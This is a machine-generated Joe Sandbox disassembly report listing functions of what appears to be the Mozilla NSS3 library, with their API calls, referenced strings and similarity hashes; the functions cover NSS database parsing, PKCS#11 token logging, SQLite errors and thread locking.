Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 582d6357921631b3bbd8e110e0bec44f6c39448fd36c789a7b3b1d480cf1d8b1
Instruction ID: d5b150649ea5243c06fb7b03ec61341a487384ea16e5a5feb31bbf88cef49f75
Opcode Fuzzy Hash: 582d6357921631b3bbd8e110e0bec44f6c39448fd36c789a7b3b1d480cf1d8b1
Instruction Fuzzy Hash: 7431E3B5B09110AFDA019E69DC44A95B775EF4630AB284135E81587E42E722E82CCBEA

Function 6C666C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C66781D,00000000,6C65BE2C,?,6C666B1D,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C66781D,?,6C65BE2C,?), ref: 6C666C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C66781D), ref: 6C666C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C666C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C666C96

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C666CAA

Strings

sql:, xrefs: 6C666C52
dbm, xrefs: 6C666CA4
rdb:, xrefs: 6C666C69
dbm:, xrefs: 6C666C3A
extern:, xrefs: 6C666C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C666C91

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: e8a92f08509e8a33a8ef62146f1eb7d310fd7671894a8154dd8386084fd092ed
Instruction ID: 53c0d52b4e40409f264e2e5af8e71a4432e0ad1964a4519901c796187d25eaf4
Opcode Fuzzy Hash: e8a92f08509e8a33a8ef62146f1eb7d310fd7671894a8154dd8386084fd092ed
Instruction Fuzzy Hash: 4E01A2A170271527E6002B7B6E4AF66655C9F4239EF140531FE08E0E81EAA6EA1440BE

Function 6C674E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C6378F8), ref: 6C674E6D

Part of subcall function 6C6109E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C6106A2,00000000,?), ref: 6C6109F8
Part of subcall function 6C6109E0: malloc.MOZGLUE(0000001F), ref: 6C610A18
Part of subcall function 6C6109E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C610A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C6378F8), ref: 6C674ED9

Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C667703,?,00000000,00000000), ref: 6C665942
Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C667703), ref: 6C665954
Part of subcall function 6C665920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C66596A
Part of subcall function 6C665920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C665984
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C665999
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C6659BA
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6659D3
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C6659F5
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C665A0A
Part of subcall function 6C665920: free.MOZGLUE(00000000), ref: 6C665A2E
Part of subcall function 6C665920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C665A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674EB3

Part of subcall function 6C674820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C674EB8,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67484C
Part of subcall function 6C674820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C674EB8,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67486D
Part of subcall function 6C674820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C674EB8,?), ref: 6C674884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674EC0

Part of subcall function 6C674470: TlsGetValue.KERNEL32(00000000,?,6C637296,00000000), ref: 6C674487
Part of subcall function 6C674470: EnterCriticalSection.KERNEL32(?,?,?,6C637296,00000000), ref: 6C6744A0
Part of subcall function 6C674470: PR_Unlock.NSS3(?,?,?,?,6C637296,00000000), ref: 6C6744BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C674F8F
PK11_UpdateSlotAttribute.NSS3(?,6C74DCB0,00000000), ref: 6C674FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C67501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C6378F8), ref: 6C67506B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: a6bc6f8301ddd68c782ed018bfd3a00d18b827efea09f8d7cac1cc60dc8668e9
Instruction ID: 04465b74094e4cf966552344a21fe810f4e3b52a317d6d6c7fd1fc4314a43310
Opcode Fuzzy Hash: a6bc6f8301ddd68c782ed018bfd3a00d18b827efea09f8d7cac1cc60dc8668e9
Instruction Fuzzy Hash: E95128B1D002059BEB219F24EC096AB37B4FF0631DF140975EC1A86A11FB31D965CBBA

Function 6C61ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C61ACE2
malloc.MOZGLUE(00000001), ref: 6C61ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C61AD02
TlsGetValue.KERNEL32 ref: 6C61AD3C
calloc.MOZGLUE(00000001,?), ref: 6C61AD8C
PR_Unlock.NSS3 ref: 6C61ADC0
free.MOZGLUE(00000000), ref: 6C61AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C61AE58
free.MOZGLUE(00000000), ref: 6C61AE69
free.MOZGLUE(?), ref: 6C61AE78
PR_Unlock.NSS3 ref: 6C61AE8C
free.MOZGLUE(?), ref: 6C61AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61AEC7

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 660f91b9fa9ee0694072f435d16fcdeb41976a70d9ebdc87f6f0da74ceabeefc
Instruction ID: ac832a1907e3e748848871820da3e945ebf454f75a930613b57c2f3825ead993
Opcode Fuzzy Hash: 660f91b9fa9ee0694072f435d16fcdeb41976a70d9ebdc87f6f0da74ceabeefc
Instruction Fuzzy Hash: 6F51AEB0F092299BDF01DF68C8456AA77B4BB0B34AF150135D914A3E12D731A909CBEA

Function 6C6F4C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C6F4CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6F4CFD
sqlite3_value_text16.NSS3(?), ref: 6C6F4D44

Strings

unknown error, xrefs: 6C6F4D56
API call with %s database connection pointer, xrefs: 6C6F4CF6
abort due to ROLLBACK, xrefs: 6C6F4D27, 6C6F4D33
invalid, xrefs: 6C6F4CF1
another row available, xrefs: 6C6F4D20
bad parameter or other API misuse, xrefs: 6C6F4D05
out of memory, xrefs: 6C6F4C78, 6C6F4C9E
no more rows available, xrefs: 6C6F4D2E

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: f8cabf4c3745c469f8d2214a2467ca765351b78ca6ba15a9265a3b01cb137cc8
Instruction ID: 7ee2bfdfc5050d8038f3ff95453d138c8aa5abd9d283d08018cf63351a16efa3
Opcode Fuzzy Hash: f8cabf4c3745c469f8d2214a2467ca765351b78ca6ba15a9265a3b01cb137cc8
Instruction Fuzzy Hash: 49316872A08911ABD70806289B217F573A77B83318F551135D4384BE59DBE1AC23C3FE

Function 6C652CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C652CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C652D07

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C652D22

Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730B88
Part of subcall function 6C7309D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C730C5D
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C730C8D
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730C9C
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730CD1
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C730CEC
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730CFB
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730D16
Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C730D26
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D35
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C730D65
Part of subcall function 6C7309D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C730D70
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730D90
Part of subcall function 6C7309D0: free.MOZGLUE(00000000), ref: 6C730D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C652D3B

Part of subcall function 6C7309D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C730BAB
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730BBA
Part of subcall function 6C7309D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C652D54

Part of subcall function 6C7309D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C730BCB
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730BDE
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(?), ref: 6C730C16

Strings

pLabel = 0x%p, xrefs: 6C652D4F
nsl, xrefs: 6C652D6C, 6C652D9A
pPin = 0x%p, xrefs: 6C652D1D
slotID = 0x%x, xrefs: 6C652D02
ulPinLen = %d, xrefs: 6C652D36
C_InitToken, xrefs: 6C652CE7

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken$nsl
API String ID: 420000887-1665422656
Opcode ID: 91a496f4a92ec5febaf355d0fdee9aa19476f625fc3630425c7f46b50e249076
Instruction ID: ef3975493b4ffdbf71c1bbd93ce44375909282df2419590f5296cb463d7f8ee8
Opcode Fuzzy Hash: 91a496f4a92ec5febaf355d0fdee9aa19476f625fc3630425c7f46b50e249076
Instruction Fuzzy Hash: 9421B376602144AFDB009F54DE8CA897BF5EB4331EFA48134E60897722DB309968CB66

Function 6C6F2D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6F2D9F

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

sqlite3_exec.NSS3(?,?,6C6F2F70,?,?), ref: 6C6F2DF9
sqlite3_free.NSS3(00000000), ref: 6C6F2E2C
sqlite3_free.NSS3(?), ref: 6C6F2E3A
sqlite3_free.NSS3(?), ref: 6C6F2E52
sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C6F2E62
sqlite3_free.NSS3(?), ref: 6C6F2E70
sqlite3_free.NSS3(?), ref: 6C6F2E89
sqlite3_free.NSS3(?), ref: 6C6F2EBB
sqlite3_free.NSS3(?), ref: 6C6F2ECB
sqlite3_free.NSS3(00000000), ref: 6C6F2F3E
sqlite3_free.NSS3(?), ref: 6C6F2F4C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 64b4fd2ca4884761c7c8d29ffe1bb10cc5d5a31568d85ff1dbbb55f8a6fa266d
Instruction ID: dd8aa93a559742e0bad8e41d9b538c142572bb71cbf872de035dae2778d1a84d
Opcode Fuzzy Hash: 64b4fd2ca4884761c7c8d29ffe1bb10cc5d5a31568d85ff1dbbb55f8a6fa266d
Instruction Fuzzy Hash: B0616FB5E012559BEB00CFA5D885BDE77A2BF89348F244028DC25A7701E735E846CFA5

Function 6C637C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C782120,Function_00097E60,00000000,?,?,?,?,6C6B067D,6C6B1C60,00000000), ref: 6C637C81

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

TlsGetValue.KERNEL32 ref: 6C637CA0
EnterCriticalSection.KERNEL32(?), ref: 6C637CB4
PR_Unlock.NSS3 ref: 6C637CCF

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

TlsGetValue.KERNEL32 ref: 6C637D04
EnterCriticalSection.KERNEL32(?), ref: 6C637D1B
realloc.MOZGLUE(-00000050), ref: 6C637D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C637DF4
PR_Unlock.NSS3 ref: 6C637E0E

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: 2baaa4e8f3ca8e5e171de2eda8f0982ba69af44e6ca6d2c278de6f21428e77bf
Instruction ID: fe126fa673593509d7866c7f9f4d98993d98c81c0f5c5301ab68874d4d09b8a4
Opcode Fuzzy Hash: 2baaa4e8f3ca8e5e171de2eda8f0982ba69af44e6ca6d2c278de6f21428e77bf
Instruction Fuzzy Hash: 5E511371E09120EFDB029F28CD48A6677F1EB4335AF356139EE0887761EB309851CB99

Function 6C5A4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4D97
PR_Lock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DBA
PR_WaitCondVar.NSS3 ref: 6C5A4DD4
PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4DEF

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 3263418105e5c63fdefeaf1dc57f5792e31eb4c189612c439572dadff114fa7c
Instruction ID: e12728a62c04568e3afb4d876d48513f7883300160da5feb0532c84294526642
Opcode Fuzzy Hash: 3263418105e5c63fdefeaf1dc57f5792e31eb4c189612c439572dadff114fa7c
Instruction Fuzzy Hash: 1441AFB1A05614CFCB00EFB9D88815DBBF4BF0A318F154679D8989B714EB30D895CB95

Function 6C648F70 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C648FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C64905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C649073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C6490EC

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
